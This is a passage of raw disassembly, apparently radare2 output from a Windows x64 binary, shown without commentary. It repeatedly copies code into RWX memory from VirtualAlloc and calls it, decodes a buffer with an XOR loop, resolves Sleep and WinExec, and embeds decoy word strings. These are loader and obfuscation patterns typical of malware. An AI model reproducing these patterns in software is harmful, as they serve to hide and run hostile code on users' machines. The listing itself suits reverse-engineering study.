lea rdx, [rbp + 0xf2e0]
lea rcx, [rbp + 0x1908]
call fcn.140021f10
movsd qword [rbp + 0x520], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x2778]
call fcn.140004660
mov rdx, r12
lea rcx, [rbp + 0x2778]
call fcn.140009f70
nop
xor edx, edx
mov rcx, qword [0x14006a840]
lea r14, [0x140021750]
test rcx, rcx
je 0x140019057
nop dword [rax]
cmp rcx, r14
je 0x140019046
inc edx
mov rcx, qword [r13 + rdx*8 + 0x6a840]
test rcx, rcx
jne 0x140019030
jmp 0x140019057
mov r8, qword [r13 + rdx*8 + 0x69ba0]
test r8, r8
jne 0x14001913f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14001911e
mov rax, r14
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019090
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], r14
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x520]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2778]
call fcn.140009fa0
mulsd xmm6, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm6
mov eax, dword [rsp + 0x60]
lea rdx, [rbp + 0xf2e0]
lea rcx, [rbp + 0x15b0]
test al, 1
jne 0x14001918e
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x14001919d
call fcn.140007450
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x1581], 0
mov edi, 5
nop dword [rax]
xor ebx, ebx
lea rdx, [rbp + 0xf2e0]
lea rcx, [rbp + 0x15b0]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rdx, [rbp + 0xf2e0]
lea rcx, [rbp + 0x1908]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm1
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0xf2e0]
test bl, 1
jne 0x140019217
lea rcx, [rbp + 0x15b0]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
imul eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x140019237
movsd xmm6, qword [rsp + 0x68]
lea rcx, [rbp + 0x1908]
call fcn.140021f10
addsd xmm0, xmm7
divsd xmm6, xmm0
movsd qword [rsp + 0x68], xmm6
inc ebx
cmp ebx, 5
jl 0x1400191b2
sub rdi, 1
jne 0x1400191b0
lea rdx, [rbp + 0xf2e0]
lea rcx, [rbp + 0x15b0]
call fcn.140007450
mov ebx, eax
lea rdx, [rbp + 0xf2e0]
lea rcx, [rbp + 0x15b0]
call fcn.140007450
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x1581]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x17e8]
call fcn.1400047a0
sub r15, 1
jne 0x140018350
lea rcx, [rbp + 0x528]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x1a00]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
jne 0x140018342
mov r12d, dword [0x140065098]
lea r14, [0x140021950]
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2d20]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x1860]
call fcn.140021e60
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xb00]
call fcn.1400213f0
mov rbx, rax
mov dword [rbp + 0xac], 0x1c2
mov edx, 0x18
lea rcx, [rbp + 0x2790]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2790]
call fcn.140009f70
nop
xor edx, edx
mov rcx, qword [0x14006b1a0]
test rcx, rcx
je 0x140019377
cmp rcx, r14
je 0x140019366
inc edx
mov rcx, qword [r13 + rdx*8 + 0x6b1a0]
test rcx, rcx
jne 0x140019350
jmp 0x140019377
mov r8, qword [r13 + rdx*8 + 0x685a0]
test r8, r8
jne 0x14001945f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14001943e
mov rax, r14
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400193b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006be40]
mov qword [r13 + rax*8 + 0x6b1a0], r14
mov qword [r13 + rax*8 + 0x685a0], r8
inc rax
mov qword [0x14006be40], rax
lea rdx, [rbp + 0xac]
mov rcx, qword [rbx]
call r8
nop
lea rcx, [rbp + 0x2790]
call fcn.140009fa0
mov rdx, qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0xb08]
call fcn.1400213f0
mov rbx, rax
mov dword [rbp + 0xb0], 0
lea rdx, [rbp + 0x1250]
lea rcx, [rbp - 0x70]
call fcn.14000a430
mov r11, rax
xor r9d, r9d
cmp r12d, 2
jl 0x14001969b
movdqa xmm9, xmmword [0x14005afe0]
xor r12d, r12d
movdqa xmm5, xmmword [0x14005b070]
movdqa xmm6, xmmword [0x14005b060]
movdqa xmm10, xmmword [0x14005b000]
movdqa xmm11, xmmword [str.ffff]
movdqa xmm0, xmmword [0x14005b030]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
movdqa xmm8, xmmword [0x14005b010]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm10
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
pmuldq xmm3, xmm6
pmuldq xmm1, xmm6
shufps xmm3, xmm1, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140019510
cmp r9d, 0x2e
jge 0x140019702
jmp 0x14001969e
xor r12d, r12d
movsxd r10, r9d
add r10, r11
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1d
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2e
jl 0x1400196b0
mov qword [rbp + 0x530], r11
mov edx, 0x18
lea rcx, [rbp + 0x27a8]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x27a8]
call fcn.140009f70
nop
mov ecx, r12d
lea rdi, [0x140021ba0]
mov rax, qword [0x140068f10]
test rax, rax
je 0x14001976d
cmp rax, rdi
je 0x14001975a
inc ecx
mov rax, qword [r13 + rcx*8 + 0x68f10]
test rax, rax
jne 0x140019744
jmp 0x14001976d
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6d130]
test r9, r9
jne 0x140019850
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140019796
mov r9, r12
jmp 0x14001982f
mov rax, rdi
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400197a1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006b7e0]
mov qword [r13 + rax*8 + 0x68f10], rdi
mov qword [r13 + rax*8 + 0x6d130], r9
inc rax
mov qword [0x14006b7e0], rax
lea r8, [rbp + 0xb0]
lea rdx, [rbp + 0x530]
mov rcx, qword [rbx]
call r9
nop
lea rcx, [rbp + 0x27a8]
call fcn.140009fa0
lea rcx, [rbp + 0x15d6]
call fcn.140001fd0
mov edx, eax
lea rcx, [rbp + 0x10670]
call fcn.1400048e0
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x15a8]
call fcn.1400048d0
movaps xmm2, xmm13
movaps xmm1, xmm14
lea rcx, [rbp + 0x19c8]
call fcn.140021f00
mov dword [rsp + 0x60], r12d
movsd qword [rsp + 0x68], xmm15
mov edx, 0x18
lea rcx, [rbp + 0x18a8]
call fcn.140004660
lea rcx, [rbp + 0x18a8]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x538]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x210]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x18a8]
call fcn.140021e30
nop
lea rcx, [rbp + 0x210]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x538]
call fcn.1400086c0
lea rcx, [rbp + 0x540]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x218]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0x18a8]
call fcn.140021e30
nop
lea rcx, [rbp + 0x218]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x540]
call fcn.1400086c0
lea rcx, [rbp + 0x548]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x18a8]
call fcn.140021e30
nop
lea rcx, [rbp + 0x220]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x548]
call fcn.1400086c0
lea rcx, [rbp + 0x550]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x228]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x18a8]
call fcn.140021e30
nop
lea rcx, [rbp + 0x228]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x550]
call fcn.1400086c0
lea rcx, [rbp + 0x558]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x230]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x18a8]
call fcn.140021e30
nop
lea rcx, [rbp + 0x230]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x558]
call fcn.1400086c0
lea rcx, [rbp + 0x560]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x238]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x18a8]
call fcn.140021e30
nop
lea rcx, [rbp + 0x238]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x560]
call fcn.1400086c0
lea rcx, [rbp + 0x24a0]
call fcn.140009fc0
mov dword [rbp + 0xb4], 0x64
lea rdx, [rbp + 0xb4]
lea rcx, [rbp + 0xb10]
call fcn.1400220f0
mov r8, rax
lea rdx, [rbp + 0x24a0]
lea rcx, [rbp + 0x1b40]
call fcn.140022100
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2d40]
call fcn.140005020
nop
lea rcx, [rbp + 0x6e8]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x1b40]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
je 0x14001ab00
lea rsi, [rbp + 0x15798]
mov r15d, 0x2710
nop dword [rax]
lea rdx, [rbp + 0x10670]
lea rcx, [rbp + 0x15a8]
call fcn.140007450
lea rdx, [rbp + 0x10670]
lea rcx, [rbp + 0x15a8]
call fcn.140007450
movsxd rbx, eax
lea rcx, [rbp + 0x18a8]
call fcn.140021e20
mov rcx, rax
xor edx, edx
mov rax, rbx
div rcx
movsxd rdx, edx
lea rcx, [rbp + 0x18a8]
call fcn.140021400
mov rcx, rax
call fcn.140021e10
mov rdi, rax
mov rcx, qword [rax]
mov rbx, qword [rcx + 8]
lea rdx, [rbp + 0x10670]
lea rcx, [rbp + 0x15a8]
call fcn.140007450
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
mov edx, 0x18
lea rcx, [rbp + 0x27c0]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x27c0]
call fcn.140009f70
nop
xor edx, edx
mov r8d, 0x19
lea rcx, [rbp + 0x2498]
call fcn.1400048d0
lea rcx, [rbp + 0x2d40]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2d40]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x140019c2f
nop dword [rax]
lea rdx, [rbp + 0x10670]
lea rcx, [rbp + 0x2498]
call fcn.140007450
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x140019c10
lea rcx, [rbp + 0x27c0]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x1800]
call fcn.140004660
lea rcx, [rbp - 0x6e]
call fcn.1400048c0
mov r8, rax
mov edx, 0x64
lea rcx, [rbp + 0x1800]
call fcn.140004800
nop
lea r8, [rbp + 0x10670]
lea rdx, [rbp + 0x15a8]
lea rcx, [rbp + 0x1230]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0xb18]
lea rcx, [rbp + 0x1800]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xb20]
lea rcx, [rbp + 0x1800]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0xb28]
lea rcx, [rbp + 0x1800]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xb30]
lea rcx, [rbp + 0x1800]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
mov edx, 0x18
lea rcx, [rbp + 0x27d8]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x27d8]
call fcn.140009f70
nop
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x2490]
call fcn.1400048d0
lea r8, [rbp + 0x10670]
lea rdx, [rbp + 0x2490]
lea rcx, [rbp + 0x1220]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0xb38]
lea rcx, [rbp + 0x1800]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0xb40]
lea rcx, [rbp + 0x1800]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xb48]
lea rcx, [rbp + 0x1800]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xb50]
call fcn.140021780
lea rdx, [rbp + 0xb58]
lea rcx, [rbp + 0x1800]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xb60]
lea rcx, [rbp + 0x1800]
call fcn.140021420
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021810
nop
lea rcx, [rbp + 0x27d8]
call fcn.140009fa0
lea rdx, [rbp + 0x10670]
lea rcx, [rbp + 0x19c8]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0x10670]
lea rcx, [rbp + 0x19c8]
call fcn.140021f10
movsd qword [rbp + 0x1b38], xmm0
movsd qword [rbp + 0x1b30], xmm6
mov edx, 0x18
lea rcx, [rbp + 0x2868]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2868]
call fcn.140009f70
nop
lea rdx, [0x14002dcf0]
lea rcx, [rbp + 0xb68]
call fcn.1400213f0
mov r14, rax
lea rdx, [0x14002e260]
lea rcx, [rbp + 0xb70]
call fcn.1400213f0
mov rsi, rax
lea rdx, [0x14002e7e0]
lea rcx, [rbp + 0xb78]
call fcn.1400213f0
mov rdi, rax
lea rdx, [0x140009f30]
lea rcx, [rbp + 0xb80]
call fcn.140021430
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x27f0]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x27f0]
call fcn.140009f70
nop
mov ecx, r12d
mov rdx, qword [0x14006a520]
test rdx, rdx
je 0x140019f20
nop word [rax + rax]
lea rax, [0x140021750]
cmp rdx, rax
je 0x140019f0d
inc ecx
mov rdx, qword [r13 + rcx*8 + 0x6a520]
test rdx, rdx
jne 0x140019ef0
jmp 0x140019f20
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x14001a016
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019f49
mov r8, r12
jmp 0x140019fee
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019f60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x6a520], rcx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1b38]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x27f0]
call fcn.140009fa0
addsd xmm6, xmm7
movsd qword [rbp + 0x580], xmm6
lea rdx, [0x14002ed10]
lea rcx, [rbp + 0xb88]
call fcn.1400213f0
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x2808]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2808]
call fcn.140009f70
nop
mov edx, r12d
mov rcx, qword [0x140067c30]
test rcx, rcx
je 0x14001a0c0
nop dword [rax + rax]
lea rax, [0x140021750]
cmp rcx, rax
je 0x14001a0ad
inc edx
mov rcx, qword [r13 + rdx*8 + 0x67c30]
test rcx, rcx
jne 0x14001a090
jmp 0x14001a0c0
mov eax, edx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001a1b6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001a0e9
mov r8, r12
jmp 0x14001a18e
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001a100
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x67c30], rcx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b30]
mov rcx, qword [rbx]
call r8
movaps xmm10, xmm0
lea rcx, [rbp + 0x2808]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2820]
call fcn.140004660
lea rbx, [rbp + 0x15798]
mov rdx, rbx
lea rcx, [rbp + 0x2820]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
test rax, rax
je 0x14001a23a
lea rdx, [0x140021750]
cmp rax, rdx
je 0x14001a227
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x14001a211
jmp 0x14001a23a
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x14001a328
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001a263
mov r8, r12
jmp 0x14001a300
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001a272
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
